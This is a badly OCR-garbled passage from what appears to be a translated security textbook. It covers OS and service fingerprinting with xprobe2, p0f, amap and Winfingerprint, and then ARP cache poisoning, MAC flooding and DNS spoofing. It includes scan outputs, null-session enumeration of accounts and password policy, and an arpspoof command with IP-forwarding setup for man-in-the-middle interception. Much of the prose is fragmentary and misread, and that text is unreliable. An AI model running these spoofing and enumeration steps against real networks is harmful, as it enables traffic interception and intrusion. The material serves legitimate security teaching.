[+] Host: 192.168.100.5 is up (Guess probability: 25%

[+] Target: 192.168.100.5 is alive. Round-Trip Tine: 0.00253 sec

[+] Selected safe Round-Trip Tine value is: 0.00507 sec

[+] Primary guess:

[ +] Host 192. 168. 100. 5 Runni ng CS: "M crosoft W ndows NT 4 Wor kst ati on Servi ce
Pack 4" (Quess probability: 70%

[+] O her guesses:

[ +] Host 192. 168. 100. 5 Runni ng CS: "M crosoft W ndows NT 4 Wr kst ati on Servi ce
Pack 5" (Quess probability: 70%

[ +] Host 192. 168. 100. 5 Runni ng CS: "M crosoft W ndows NT 4 Wr kst ati on Servi ce
Pack 6a" (CGuess probability: 70%

[+] Host 192.168.100.5 Running CS: (Guess probability: 70%
[+] Host 192.168.100.5 Running CS: (Guess probability: 70%
[+] Host 192.168.100.5 Running CS: (Guess probability: 70%
[+] Host 192.168.100.5 Running CS: (Guess probability: 67%
[+] Host 192.168.100.5 Running CS: (Guess probability: 67%
[+] Host 192.168.100.5 Running OS: (Guess probability: 67%
[+] Host 192.168.100.5 Running OS: (Guess probability: 67%

[+] O eaning up scan engine
[+] Modules deinitialized
[+] Execution conpleted. [root@xayHat root]#
Xprobe2
7 xprobe2
NT 4 Workstation SP4 SP4  SP6a

TCP/IP
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xprobe2
192.168.100.66 192.168.100.5

192. 168. 100. 66 -> 192.168.100.5 I CWP Echo (ping) request

192.168. 100.5 -> 192.168. 100. 66 | CMP Echo (ping) reply

192. 168. 100. 66 -> 192.168.100.5 I CWP Echo (ping) request

192.168.100.5 -> 192. 168. 100. 66 | CMP Echo (ping) reply

192. 168. 100. 66 -> 192.168.100.5 | CWP Ti nestanp request

192. 168. 100. 66 -> 192.168.100.5 | CWP Address mask request

192. 168. 100. 66 -> 192.168.100.5 ICWP Informati on request

192. 168. 100. 66 -> 205.152.0.5 DNS Standard query A www. securityfocus.com
"M crosoft Wndows NT 4 Server Service Pack 4"

"M crosoft Wndows NT 4 Server Service Pack 5"

"M crosoft Wndows NT 4 Server Service Pack 6a"

"M crosoft Wndows M I I enniumEdition (Mg)"

"M crosoft Wndows NT 4 Server Service Pack 3"

"M crosoft Wndows NT 4 Server Service Pack 2"

"M crosoft Wndows NT 4 Server Service Pack 1"

205.152.0.5 -> 192. 168. 100. 66 DNS St andard query response A 205.206.231.13 A
205.206. 231. 15 A 205. 206.231. 12

192. 168. 100. 66 - > 192. 168. 100. 5 DNS St andar d query r esponse A 205. 206. 231. 13
192.168.100.5 -> 192. 168. 100. 66 | CMP Desti nati on unreachabl e

192. 168. 100. 66 -> 192.168.100.5 TCP 46312 > 65535 [ SYN] Seq=1183539498
Ack=3904166783 W n=5840 Len=0

192.168. 100.5 -> 192. 168. 100. 66 TCP 65535 > 46312 [ RST, ACK] Seq=0 Ack=

1183539499
Wn=0 Len=0
xprobe2 ICMP Echo Request Echo
Reply xprobe2 ICMP type 8 Echo Request code
0 IDS type 8
Code 123 54
code 123 code ICMP Echo Request
xprobe2 ICMP
Code Microsoft Windows Echo Reply type0  code O

Echo Reply TypeO  code Echo Request type 8
123 55 xprobe2 Linux 24 Ethered
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@ WinNT4-2 - Ethereal
File Edit Capture Display Tools

[-[ofx]
Help ‘

No . [Time  [Source [ Destination [Protocol[info |
1 0.000000 192.168.100. 66 192.168.100. 5 ICHF Echo (ping) reguest
2 0.000282 192.168.100.5 192. 100. 66 ICHP echo Cping) reply
3 0.206213 192 00.66 192.168.100 ICMP Echo (ping) reguest
4 ) reply
5 1 q
60 192 0 Address mask reguest
7o 192.168.100. Information reguest
80 192.168.100. standard guery A www.securityfocus.com
9 0. 205.152.0.5 Standard guery response A 205.206.231.13 A 205.206.231.15 & 205.208.231.12
10 0. 192.168.100. 66 standard guery response A 205.206.231.13
110 192.168.100. 5 pestination unreachable
1z 0 192.168.100. 66 7058 > 65535 [Svm] Seg=1325109078 ack=2451300113 win=5840 Len=0
13 0.506210 192.168.100. 5 192.168.100. 66 65535 » 7058 [RST, ACK] Seg=0 ack=1325109075 win=0 Len=0

Frame 4 (98 bytes on wire, 98 hbytes captured)
Ethernet II, Src: 00:e0:29:27:5e:8f, Dst: 00:0¢:29:b7:8cie3
B Internet Protocol, src addr: 192.168.100.5 (192.168.100.5), DSt

B Internet control Message Protocol
FType: o (Echa (ping) replyd

Checksum: 0x0b8d (correct)
Tdentifier: 0x321b
sequence number: 00:0L
pata (56 bytes)

T

Addr: 192,.168.100.66 (192.168.100.66)

0020 64 42 OU W Ob 8d 92 1b 00 OL 40 Ob Od 6 00 05  dB.W.... ..
0030 50 46 08 05 0a ob 0c 0d Oe OF 10 11 12 13 14 15  _F. . X
0040 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 ... |
0050 26 27 28 28 2a 2b 2c 2d 2e 2F 30 31 32 33 34 35 & (J%, - ./012343
0080 36 37 &7 Vi
Filter | /] Reset| Apply|[Eods fiomp-cade), T byte
5.4 Windows xprobe2 ICMP Echo Reqguest type 8 code 123

capture> - Ethereal «2» =10l x|
File Edit Capture Display Tools Help
Mo, , |Time |Suurce |Deslmat\un Protocol | Info =

1 0,000000 192,168, 100,66 192,168,100,78 ICHP Echo (ping) request

2 0,000165 192,168,100,78 192,168, 100,66 ICHP Echo (ping) reply

3 0,144368 152,168, 100,66 152,168,100,78 ICHP Echo {

4 0 ] Ech

5 0,210030 192,168, 100,66 192,168,100,78 ICHP Timestamp request

B 0,210105 192.168.100,78 192,168, 100,66 ICHP Timestamp reply

7 0,218645 192,168, 100,66 152,168,100,78 ICHP Address mask request

4 0,245601 192,168, 100,66 192,168,100,78 ICHP Information request

9 0,280030 192,168,100,66 ns,bellsouth, net NS Standard query A www,securityfocus, com

10 0.365682 ns.bellsouth.net 192,168.100.66 NS Standard query response A 205.206.231.13 A 205,.206,231.15 A 205,206,231,12

11 0,365688 192,168, 100,66 152,168,100,78 IHS Standard query response A 208, 206,231,13

12 0,365773 192,168.100,78 192,168, 100,66 ICHP Dlestination unreachable

13 0,380832 192.168.100,66 152,168,100,78 TCP 54347 > 65535 [SVN] 5eq=998397156 Ack=3019706138 Win=9940 Len=0 M35=1450 TS¥="

14 0,280717 192,168, 100,78 192,168, 100,66 TCP 65535 > 64347 [RST, ACK] Seq=0 Ack=398337157 Win=0 Len=0 |
. | ....... | ﬂ

" &

Ethernet 11

Internet Protocol. Src Adder 192,168.100.78 (192.168.100.78), Dst

B Internet Control Message Protocol

Type: 0 (Echo (ping) reply)
1.

Checksum: OxebSa {correct)
Identifier: Oxb3fd
Sequence number: 00:01

Addr: 192.168.100.66 (192.168.100.66)

Data (58 bytes) =
| [»]
0020 B4 42 (00 eh 82 b3 Fd 00 01 40 97 38 % 00 07 dB.JB.FO LLB.E... 0|
0030 fb bb 0B 09 0a Ob Oc Od Os OF 10 11 12 13 14 15 G8%...0us vavaraes =
0od0 16 17 18 19 1a 1b ic 1d e 1f 20 21 22 23 24 25 [R5 ¥4 hd

Fier|

j M Apply ‘Cude (icmp.code)

5.5 Linux 24

xprobe2

ICMP Echo Request type 8 code 123




xprobe2

xprobe2
type 13
type 15

xprobe2
xprobe2
www.securityfocus.com
Xprobe2
192.168.100.5
www.securityfocus.com
UDPport 53 DNS
xprobe2
5.6

DNS

Address Mask Request type 17

DNS

IDS
IDS

ICMP

Windows NT 4

DNS
DNS
DNS

xprobe2

UDP 65535 xprobe2

IDS

Timestamp Request
Information Request

DNS

DNS

File Edit Capture Display Tools Help |
Ra. . ‘T\me |Suur:e ‘Destmal\un |Prutucu\ |Infu |

1 0.000000 192.168.100.66 192.168.100.5 ICMP echo (ping) reguest

2 0.000265 192.168.100.5 192.168.100. 66 ICMP echo (ping) reply

3 0.163830 192.168.100. 66 192.1638.100.5 ICMP Echo (ping) reguest

4 0.166071 162.168.100.5 152.168.100. 66 ICMP Echo (ping) reply

5 0.170094 192.168.100.66 192.168.100.5 ICMP Timestamp reguest

6 0.269605 192.168.100.66 192.168.100.5 ICMP Addrass mask reguest

7 0.2B7277 192.168.100.66 192.168.100.5 ICMP Information request

§ 0.323760 192.168.100.66 205.152.0.5 DNS standard guery A www.securityfocus.com

9 0.379673 205.152.0.5 168.100. 66 DS

11 0.38220 132.168.100.5 12 168.1006
12 0.384572 152.168.100.66 192.168.100.5
13 0.385234 152.168.100.5 192.163.100. 66

Standard guery response
standard guery r 5 e

A 205.206,231.12 A 205,206.231.13 A 205.206.231.15
y se A .12
pestination unreachahle

A

ICMP
TCP 55761 > 65535 [S¥N] Seq=1002361623 Ack=3520675328 win=5840 Len=0
TCP

65535 > 55761 [RST, Ack] Seq=0 Ack=1002361624 win=0 Len=0

EFrame 10 (118 bytes on wire, 118 bytes captured)

EEthernet II, Src: 00:0c:29:h7:8c:e3, Dst:

B Internet Protocol 152.16

-User Datagram Pr .5
Esnurce port: domain (530

Src Add

pestination port: 65535 (65535)
Length: 84
Checksum: 0x91h0 (correct)
B bomain Wame System {response)

Transaction ID: Oxcldl

BFlags: 0xB1f0 (Standard query response, Mo error)
questions: 1
Answer RRs: 1
Authority RRs: O
Additional RRs: O

queries

ANSWErs

00:e0:29:27:52:8F
8.100.66 (192.168.100.66)
ain (533, DSt Port:

Dst addr: 1582.168.100.5 (152.168.100.5)

0020 dl 81 fo 00 01
0030 73 65 63 75 72
0040 6d 00 00 01 00
(0050 63 74 79 66 &f

01 ff Ff od ce

=
oe W Ww. s Bcur
ityfocus Lcom....
Lowww.se curityfo
cus. com.

1

[ — |

Fiter|

J Reset| Apply ‘Usar Datagram Protocal (udp), 8 bytes

5.6 xprobe2 DNS

ICMP
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xprobe2 ICMP type3 code3
Xprobe2 UDP 65535

“ ”

“ 8 xprobe2
DNS xXprobe2
xprobe2
xXprobe2 65535 TCP
xXprobe2 TCP TCP SYN
65535 TCP RST/ACK
Ethereal 5.6 Xprobe2
Windows NT Workstation SP1 SP2
Xprobe2 Windows NT 4 Workstation SP4
Service Pack Xprobe2
Service Pack
xprobe2 ICMP
ICMP ICMPtype code
type code
ICMP type 3
TCP/IP type 3 Gregory Laon
SANS “ 8 MTU
type 3 code 4
ICMPtype code Xprobe2

[1] The X Project Website, Home of xprobe www.sys-security.com/html/projects/
X.html



[2]

[3]

[4]

5]

[6]

109
"The Present and Future of XProbe2 - The Next Generation of Active Operating
System Fingerprinting" WWW.Sys-security.com/archivel/papers/
Present_and Future Xprobe2-v1.0.pdf
"XProbe2 - A 'Fuzzy?Approach to Remote Active Operating System Fingerprinting"
WWW.Sys-security.com/archive/papers/ X probe2.pdf
"A Remote Active OS Fingerprinting Tool Using ICMP" WWW.Sys-security.com/
archive/articles/login.pdf
Gregory Lajon, SANS Institute Paper, "What |s X Probe?" www.sans.org/ N
resources /idfag/xprobe.php
"ICMP Based Remote OS TCP/IP Stack Fingerprinting Techniques'
WwWW.Sys-security.com/archive/phrack/p57-0x07

[7] Stevens, W. Richard, TCP/IP lllustrated Volume 1 (Reading, MA: Addison-Wesley,
2000)
5.2.2 pOf
ICMP
pOf
Michal Zalewski
pOf
pOf
pOf SYN
TCP SYN
pOf
SYN
SYN SYN SYN
SYN+ACK SYN ACK
pOf
pOf Web

80 pOf
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RST+ACK/RST SYN+ACK RST+ACK/RST
RST
RST+ACK “ " RST+ACK/RST
pOf
GrayHat : ~/ pOf root# ./pOf -i enl -U
pOf - passive os fingerprinting utility, version 2.0.3
(O M Zal ewski <lcantuf @lione. cc> W Stearns wstearns@obox.com
pOf: listening (SYN on 'enl', 206 sigs (12 generic), rule: "all’.
192.168. 1. 101: 1541 - Wndows XP Pro SP1, 2000 SP3
-> 192.168.1.100: 22 (distance 0, link: ethernet/noden

pof  SYN XP Mac OS X Powerbook  ssh
XP SYN SYN pOf
SYN
G ayHat: ~/ pOf root# ./pOf -i enl -U-p
pOf - passive os fingerprinting utility, version 2.0.3
(O M Zal ewski <lcantuf @lione. cc> W Stearns wstearns@obox.com
pOf: listening (SYN on 'enl', 206 sigs (12 generic), rule: "all’.
192.168. 1. 102: 2119 - W ndows 2000 SP2+, XP SP1 (sel dom 98 4. 10.2222)
-> 216.239.57.147:80 (distance 0, |ink: ethernet/noden)

Google
Windows XP SP2 pOf

SYN
SYN

apple.com Web
SYN+ACK pOf

GrayHat: ~/ pOf root# ./pOf -i enl -r -A -U
pOf - passive os fingerprinting utility, version 2.0.3
(O M Zal ewski <lcantuf @lione. cc> W Stearns wstearns@obox.com
pOf: listening (SYN+ACK) on 'enl’, 57 sigs (1 generic), rule: "all’.
17.112. 152. 32/ eg- ww. appl e. com 80 - MacOS X 10.2.6 (up: 770 hrs)

-> 192.168. 1. 100: 57074 (di stance 10, l|ink: ethernet/nodem

Apple Mac Web Sun



209. 249. 116. 195/ 209. 249. 116. 195. avai | abl e: 80 - W ndows 2000 (1)
-> 192.168. 1.100: 57148 (di stance 11, link: ethernet/noden)

Sun WWW.SUN.com Windows 2000
IDS
TCP 443
Web pOf
HTTP pOf RST

GrayHat : ~/ pOf root# ./pOf -i enl -U-R -r
pOf - passive os fingerprinting utility, version 2.0.3

(O M Zal ewski <lcantuf @lione. cc> W Stearns wstearns@obox.com

pOf: listening (RST+) on 'enl', 46 sigs (3 generic), rule: "all’.

192.168. 1. 102: 443 - W ndows XP/ 2000 (refused)
-> 192.168. 1. 100: 54111 (di stance 0, link: unspecified)
192.168. 1. 101: 443 - W ndows XP/ 2000 (refused)
-> 192.168. 1. 100: 54118 (distance 0, link: unspecified)
SYN SYN+ACK
nmap
192.168.1.101 102 RST
443 SYN nmap  xprobe2

GrayHat: ~/ pOf root# Is -1 *.fp
-rwr--r-- 1 root root 30675 1 Nov 2003 pOf.fp

-frwWr--r-- 1 root root 5686 29 Sep 2003 pOfa.fp
-frwr--r-- 1 root root 8368 29 Sep 2003 pOfr.fp
pOf.fp SYN
pOf

e Window size (WSS)
e Overall packet size (Ilength)

xprobe2

111



112
e |nitial TTL
e Maximum segment size (MSS)
e Window scaling (WSCALE)
*  Timestamp
e Various TCP/IPflags (Don't fragment, Selective ACK permitted, URG)
ppOf pOf
15:55:29. 779336 | P (tos Ox0, ttl 64, id 2058, offset 0, flags [DF], | ength: 60)
192. 168. 1. 100. 54953 > 18. 181. 0. 31. 22: S[tcp sumok] 4156488869: 4156488869( 0)
wi n 65535 <nss 1460, nop, wscal e 0, nop, nop, ti nestanp 3942313917 0>
SYN pOf
192.168. 1. 100: 54934 - FreeBSD 4.7-5.1 (or MacOS X 10.2-10.3) (1) (up: 10950 hrs)
pOf SYN
FreeBSD Mac OS X 0OSX 103 Mec pOf.fp
(wi ndow size):(initial TTL):(don't fragnent bit):(SYN packet
size): (options): (quirks)
pOf.fp pOf SYN
65535: 64: 1: 60: M, N, W, N, N, T: . : FreeBSD: 4. 7-5.1 (or MacOS X 10.2-10.3) (1)
tcpdump window size 65535
206 18 TTL 64
14 Do not Fragment [ DF]
10 tcpdump 60 7
grep BSD

tcpdump
<nmss 1460, nop, wscal e 0, nop, nop, ti mestanp 3942313917 0>

pOf . pf “ m ( something),N,WO,N,N,T” 7
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65535: 64: 1: 60: M-, N, VW, N, N, T: . : FreeBSD: 4. 7-5. 1 (or MacOS X 10.2-10.3) (1)
65535: 64: 1: 60: M, N, WO, N, N, T: Z: FreeBSD: 5. 1-current (1)
65535: 64: 1: 60: M-, N, WD, N, N, TO: . : Net BSD: 1. 6X (DF)
NetBSD TO timestamp
timestamp 3942313917 FreeBSD 5.1-current “ quirks’
V4 Google Do not Fragment IP
ID 0 IPID 2058 SYN FreeBSD
51 260
pOf
tcpdump pOf
pOf TTL
NAT
IP

[1] The pOf website http://lcamtuf.coredump.cx/pOf.shtml pOf source code
[2] Pof source code http://freshmeat.net/projects/pof
[3] Stevens, W. Richard, TCF/IP lllustrated Volume 1 (Reading, MA: Addison-Wesley,

2000)
5.2.3 amap
amap
amap THC-Amap The Hackers Choice www.thc.org GPL 2002
4.6 banners

nmap
Paketto Keiretsu  scanrand

Banner Grabbing
SSL NetCat Hackbot  ScanSSH
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telnet

amap amap

“ ” nmap TCP 3333
IP  192.168.100.50
[root @xayHat root]# nmap 192. 168. 100. 50 -p 3333

Starting nmap V. 3.00 ( www. insecure.org/nmap/ )
Interesting ports on (192.168. 100. 50) :

Por t State Servi ce
3333/tcp open dec- not es
Nmap run conpleted -- 1 IP address (1 host up) scanned in 0 seconds
nmap Dec Notes nmap
3333
amap IP

192.168.100.50 TCP 3333

[root @xayHat root]# amap 192.168.100.50 3333
amap v4. 5 (www. t hc. org) started at 2004- 05- 04 05: 46: 21 - APPLI CATI ON VAP node

Protocol on 192.168. 100. 50: 3333/tcp matches ssl

Protocol on 192.168.100.50: 3333/tcp over SSL matches http

Protocol on 192.168.100.50: 3333/tcp over SSL matches http-iis

War ni ng: Coul d not connect (tineout 5, retries 3) to192.168. 100. 50: 3333/tcp,
di sabling port

Uni dentified ports: none.
amap v4.5 finished at 2004-05-04 05:46: 34
amap TCP 3333 SSL

SSL SSL
Web HTTP Web Microsoft IS
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SSL

1. CLIENT _HELLO
2. SERVER HELLO
3. Server-to-client certificate transfer

CLIENT_HELLO
amap SSL CLIENT_HELLO o
SERVER HELLO

amap appdefs.trig
appdefs.resp /usr/local/bin appdefs.rpc
nmap  nmap-rpc
NAME: [ COMMON_PORT, [ COMMON_PORT, ...]]: [IP_PROTOCOL] : 0| 1: TRI GGER_STRI NG
amap DNS

dns: 53: udp: 1: 0x00 00 10 00 00 00 00 00 00 00 00 00

NAMVE: [ TRIGGER, [TRIGGER, ...]]: [IP_PROTOCOL] : [M N_LENGTH, MAX_LENGTH] : RESPONSE REGEX

Microsoft DNS
dns- ms: dns: udp: : *\ x00\ x00\ x90\ x04

amap amapcrap

amapcrap  appdefs.resp
appdefs.trig amap

Microsoft I1S amapcrap
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[root @xayHat root]# amapcrap 192. 168. 100. 50 80
# Starting AmapCrap on 192.168. 100. 50 port 80
# Witing a "+" for every 10 connect attenpts
#

# Put this line into appdefs.trig: PROTOCOL_

NAME: : t cp: O: " gi dl dyoxgysrj undhnctueheal oyoxgvboynsvaoayer gycj dpnxtt aucpqq
kwj \r\n"

# Put this line into appdefs.resp:

PROTOCOL_NAME: :tcp::"HTTP/ 1.1 400 Bad Request\r\nServer: M crosoft-
I11'S/5.0\r\nDate: Sat, 08 May 2004 07:15:43 GV r\nContent-Type:

text/htm \r\nContent-Length:

87\ r\n\r\ n<ht m ><head><title>Error</titl e></head><body>The paraneter is

i ncorrect.

</ body>< [/ htm >"

amap
P2P VNC
GoToMyPC amap
-0G <filename> amap nmap
nmap -oG <fil enane>
nmap amap
nmap amap
nmap C nmap-out.txt
grep
# nmap -oG nmap-out.txt 192.168. 0. 1- 255
amap nmap nmap /
# amap -i nmap-out.txt
nmap amap
-0 <filename> amap / -m
amap nmap

# amap -i nmap-out.txt -o amap-out.txt -m
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amap amap
12 TCP -C
256 IDS amap
SSL Web
Linux/Unix Microsoft 11S
amap amap
N
amap amap
amap
IDS amap
amap
kpmg-pt IDS
amap
amap
[1] Theamap man Page Use the command man amap
[2] "What IsAMap and How Does It Fingerprint Applications?" www.sans.org/
resources/idfag/amap.php
5.2.4 Winfingerprint
Windows
Windows2000 NT Sourceforge.net
Windows API
Winfingerprint WindowsAPI
5.7
IP IP
IP /
Single Host Network Type
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NT Domain
Net* Win32 API Active Directory
ADSI API Microsoft Platform SDK
Administrators WMI

s, Winfingerprint 0.5.10

Input Options Metwark Type
* NT Dornain O Active Directory © WMI m

" IP Range 1P List

* Zingle Host ¢ Meighborhood Scan Options Exit

IF Address: v Win32 OS VWersion v Users Reqgistry

192.165.1.10 [ Mull IPC% Sessions v Services MNBT Clear

Information

v
v
v MetBIOS Shares | Disks ™ Scadens S—I
AYE
-
E

v Date and Time v Groups Event Log

: RPC Show Hel
v P Hostl i oelp
o el A I Bindings Errars

General Options
1. Intel(R) PRO/1000 MT Network Connection | I TCP SYN Portscan Range: 1 [z04s

Timeout for TCRAIDP/ICMPSSHMP: 5 [~ UDP Portscan Rangs: 1 2048
. g Ayai0 bli
Retrigs: |3 Max Connections: | 2048 | SMMP Cammunity String: publie

5.7 Winfingerprint

5.8 5.7 NT
Winfingerprint

SourceForge.net Winfingerprint
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Fingerprint:
Role: NT Member Server
Role: NT Workstation
Role: LAN Manager Workstation
Role: LAN Manager Server
Role: Potential Browser
Role: Master Browser
Version: 4.0
Comment:
NetBIOS Shares:
Narne: %192.168.1.104A0MINE Rernark: Remote Admin
Tvpe: Special share reserved for interprocess communication {IFC$) or remote administration of the ser
Narne: %192.168.1.108PCE Rerark: Rermote IPC
Type: Interprocess communication {IPC)

Narne: "4192.168.1.10%:-drive Rernark:

Name: %192.166.1.104%C4 Remark: Default share

Tvpe: Special share reserved for interprocess communication {IPC$) or remote administration of the ser
Password Palicy:

Minimurm password length: 0

Maximum password age : 42 days

Minimum password age @ 0 days

Forced log off time : Never

Password history length: 0

Attermnpts before Lockout: O

Time between two failed login attermpts: 1800 seconds

Users:
Administrator [S00] "
- Built-in account for administering the computer/damain
SID: 5-1-5-21-1500075739-87373539-935611846-500
- The logon script executed. This value must be set for LAN Manager 2.0 or Windows NT.
- Password does not expire.
GrayHat [1003] "

=10 5-1-5-21-1500075739-87373539-935611846
- The logon script executed. This value must be set for LAN Manager 2.0 or Windows NT.
Guest [501] "
- Built-in account for guest access to the computersdomnain
SID: S5-1-5-21-1500075739-87373539-935611846-501
- The logon script executed. This value must be set for LAN Manager 2.0 or Windows NT.
- The user's account is disabled.
- Password does not expire.
IUSR_DFSDF [1000] "Internet Guest Account”
- Internet Server Anonymous Access
S10: 5-1-5-21-1500075739-8737535539-935611846-1000
- The logon script executed. This value must be set for LAN Manager Z.0 or Windows NT.
- Password does not expire.
TWAM_INESS-NT [1002] "Web Application Manager account”
- Internet Server Web Application Manager identity
SID: S5-1-5-21-1500075739-07373539-935011646-1002
- The logon script executed. This value must be set for LAN Manager 2.0 or Windows NT.
- Password does not expire,

5.8 Winfingerprint

WipEnginecpp CWfpEngine::Launch NetWkstaGetInfo
NetBIOS
NET_IPC_Session_Connect ipc$
NULL ipc$
NT Domain NET_OS Version
NetServerGetinfo

NetServerGetinfo
SV_TYPE_SQLSERVER SV_TYPE_DOMAIN_CTRL
CWfpEngine::NET_Shares NetShareEnum
NetShareEnum
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WNetAddConnection2
NO_ERROR
Winfingerprint
Winfingerprint
Winfingerprint-cli
SourceForge.net
Win32 APl
Windows
W nfngemprmt W ndows
buid
Windows NT 4.0 1381
Windows 2000 5.0 5.0.2195
Windows XP 51 05.01.2600
Windows Server 2003 52 05.02.3790
5.3
Protocol Data Unit PDU
13 ” OSI



5.3.1 libpcap WinPcap
libpcap
Unix/Linux Windows WinPcap
libpcap
www.tcpdump.org  www.rpmfind.net WinPcap winpcap.polito.it
libpcap  WinPcap

libpcap WinPcap
libpcap  WinPcap

Unix/Linux libpcap Windows WinPcap

LC4
LOphtCrack LC4 PACKET.DLL WPCAPDLL
C:\Program Files\ Files\@stake\L C4\
%SY STEMROOT%\system32\
*,0OLD %SY STEMROOT%\system32\
WinPcap NPF

libpcap  WinPcap

[1] WinPcap Documentation http://winpcap.polito.it/docs/man/html/ index.html
[2] tcpdump Public Repository www.tcpdump.org
[3] LC5FAQ www.atstake.com/research/Ic/fag.html
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5.3.2
PING
PONG
PING
ARP
ARP IP MAC
ARP ARP cache poisoning IP
MAC
arpspoof WIinARP-sk  ettercap hunt ARP
MAC MAC duplicating
MAC Unix/Linux
MAC Windows SMAC
MAC

ARP
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MAC flooding
MAC
MAC MAC
flooding MAC flooding flooding
MAC
flood
flooding MAC
flooding
MAC flooding
MAC flooding
macof  EtherFlood MAC flooding
2500
flooding
MAC flooding
DNS poisoning
ARP ARP
MAC
IP MAC
IP IP

DNS
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FODN IP www.somedomain.com = 192.168.1.5
DNS DNS IP
IP
compl.somedomain.com DNS
FQDN compl.somedomain.com DNS IP
DNS IP
compl.somedomain.com
dsniff dnsspoof WinDNSSpoof
man dnsspoof
ARP MAC flooding DNS poisoning
/
ARP ARP ARP ARP
ARP proxy ARP Promiscuous ARP
IP IP A B
C Proxy ARP B
C ARP B A 10.0.0.1~
10.255.255.254 59 B C
C MAC ARP
B B C Proxy ARP
MAC C MAC ARP
C B C
TCP/IP IP ARP
IP ARP Unsolicited
ARP IP
MAC ARP
ARP Unicast ARP ARP Gratuitous
ARP GratuitousARP
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IP
NS
HEHLC
10.2.2.2 24
10.2.2.3 /24
5.9 Proxy ARP
arping Linux man 8 arping Unsolicited
ARP  GratuitousARP Unsolicited ARP
GratuitousARP unicast Unsolicited ARP  Gratuitous ARP
GratuitousARP

Gratuitous ARP  Unsolicited ARP
GratuitousARP MAC
Unsolicited ARP IP
MAC IP
ARP
ARP ARP
MAC ARP
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ARP MAC
IP
ARP
ARP MAC ARP
ARP
EVILCOMP SERVER1 CLIENT2
SERVER1 CLIENT2 ARP ARP
IP MAC EVILCOMP
SERVER1 CLIENT2 GratuitousARP ARP
EVILCOMP MAC EVILCOMP IP
SERVER1 CLIENT2 IP 510 511 512
T HAHIMAC B 3=
Mac#dt = WHE
AAAA AAAAAAAA = Port |
BBBB.BBBB.BBBB = Port 3
AAAA BBBB.1234 = Port 2
SERVER1 ARP & # 17 AL CLIENT2 ARP &% £ 17
IP b A1k MAC #h it BH IPHhAE MACH it B3l
10.I.1.11 BBBBBBBBBBBB & 10.1.1.10  AAAAAAAAAAAA gz &
10.1.125 AAAABBBB.I234 ZI& 10.1.125 AAAA BBBB.I234 A

N

CLIENT2
IP=10.1.1.11
MAC = BBBB.BBBB.BBBB

SERVERI
IP=10.1.1.10
MAC = AAAA AAAA AAAA

IP=10.1.1.25
MAC = AAAA.BBBB.1234

5.10 ARP



B HIMAC B 5 72

MAC H = Was

AAAAAAAAAAAA = Port |

BBBB.BBBB.BBBB = Port 3

AAAA.BBBB.1234 = Port 2

SERVER1 ARP & K% LML CLIENT2 ARPEHETT

1P Hh ik MAC i fiE 3.V TPl fiE MACHh fiE KR
10.1.1.11 BBBB.BBBB.BBBB N 10.1.1.10  AAAAAAAAAAAA  FhA
10.1.1.25 AAAABBBB.1234  FIA& 10.1.1.25 AAAABBBB.I234 P

CLIENT2
IP=10.1.1.1
MAC = BBBB.BBBB.BBBB

IP=10.1.1.25
MAC = AAAA BBBB.1234

5.11 GratuitousARP
L HHIMAC B 5 %

MAC Hh 3k = s 15

AAAA AAAA AAAA = Port |

BBBB.BBBB.BBBB = Port 3

AAAA BBBB.1234 = Port 2

SERVER1 ARP E ML CLIENT2 ARP &2 1F

IPHihE  MACHLbE B3] IPHbHE  MACHLHE Bl
10.1.1.11  AAAABBBB.I234 ZI7 10.1.1.10 AAAABBBB.I1234  ZI#&
10.1.1.25 AAAABBBB.1234  #Z% 10.1.1.25 AAAABBBB.1234  BZ&:

N

SERVERI
IP=10.1.1.10
MAC = AAAA AAAA AAAA

EVILCOMP
IP=10.1.1.25
MAC = AAAA BBBB.|234

CLIENT2
IP=10.1.1.11
MAC = BBBB.BBBB.BBBB

5.12
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SERVER1 CLIENT2 EVILCOMP
EVILCOMP IP 51
IP
P
Linux  Unix echo 1 > /proc/sys/net/ipv4/ip_forward
/proc 1= 0=
Microsoft WindowsNT 4.0 2000 2003 XP | PEnableRouter
1= 0=
HKLM\SY STEM\CurrentControl Set\Services\Tcpip\
Parameters
REG_DWORD
0~1
0
5.1 P
MAC
Unsolicited ARP IP MAC
10111 EVILCOMP MAC AA:AA:BB:BB

12:34 tethereal Ethereal

[ root @&VI LCOWP root]# tethereal -n
0. 000000 aa: aa: bb:bb:12:34 -> ff. ff:ff:ff:ff.:ff ARP Who has 10.1.1.1 Tell
10.1.1.1

10111 10111
MAC AA:AA:BB:BB:12:34 “
ARP 10.1.11 MAC ”
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MAC ARP
IP 10.1.11 MAC AA:AA:BB:BB:12:34
10.1.1.1 MAC AA:AA:BB:BB:12:34
EVILCOMP 10.1.11
EVILCOMP

[1] arp-sk Website ~ www.arp-sk.org

[2] Vulnerable Switches Lists www.arp-sk.org/arp_cache poisoning.html
www.bitland.net/taranis/index. php

[3] Stevens, W. Richard, TCP/IP lllustrated Volume 1 (Reading, MA: Addison-Wesley,
2000).

[4] arping Documentation man arping

[5] dsniff Website — www.monkey.org/~dugsong/dsniff/

[6] "Why Your Switched Network Isn't Secure”  www.sans.org/resources/idfag/
switched network. php

ARP
dsniff arpspoof
dsniff Dug Song
arpspoof ARP Gratuitous
ARP IP IP IP
arping ARP ping
Gratuitous ARP Unsolicited ARP IP
arping FF.FF.FF.FF.FF.FF
IP IP ARP
arpspoof

ARP
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[ root @&VI LCOWP root]# arpspoof -i ethO -t 10.1.1.11 10.1.1.10
0:c¢:29:99:33:68 0:e0:29:9d: 26: 16 0806 42: arp reply 10.1.1.10 is-at
0:c:29:99: 33: 68
0:c:29:99:33:68 0:e0:29:9d: 26: 16 0806 42: arp reply 10.1.1.10 is-at
0:c:29:99: 33:68
0:c:29:99:33:68 0:e0:29:9d: 26: 16 0806 42: arp reply 10.1.1.10 is-at
0:c:29:99:33:68
0:c:29:99:33:68 0:e0:29:9d: 26: 16 0806 42: arp reply 10.1.1.10 is-at
0:c:29:99:33:68
0:c:29:99:33:68 0:e0:29:9d:26: 16 0806 42: arp reply 10.1.1.10 is-at
0:c:29:99: 33:68
0:c:29:99:33:68 0:e0:29:9d:26: 16 0806 42: arp reply 10.1.1.10 is-at
0:c:29:99: 33: 68
EVILCOMP 10.1.1.11 CLIENT2 GratuitousARP
10.1.1.10 SERVER1 MAC 00:E0:29:9D:26:16 arpspoof
Ctrl+C arpspoof arp
IP MAC
arpspoof
man arpspoof arpspoof arpspoof
monkey.org/~dugsong/dsniff/
ettercap
NetCat “ " ettercap
ettercap  Ornaghi ALOR Marco
Valeri NaGA
libpcap  WinPcap
MAC
flooding NIC DoS
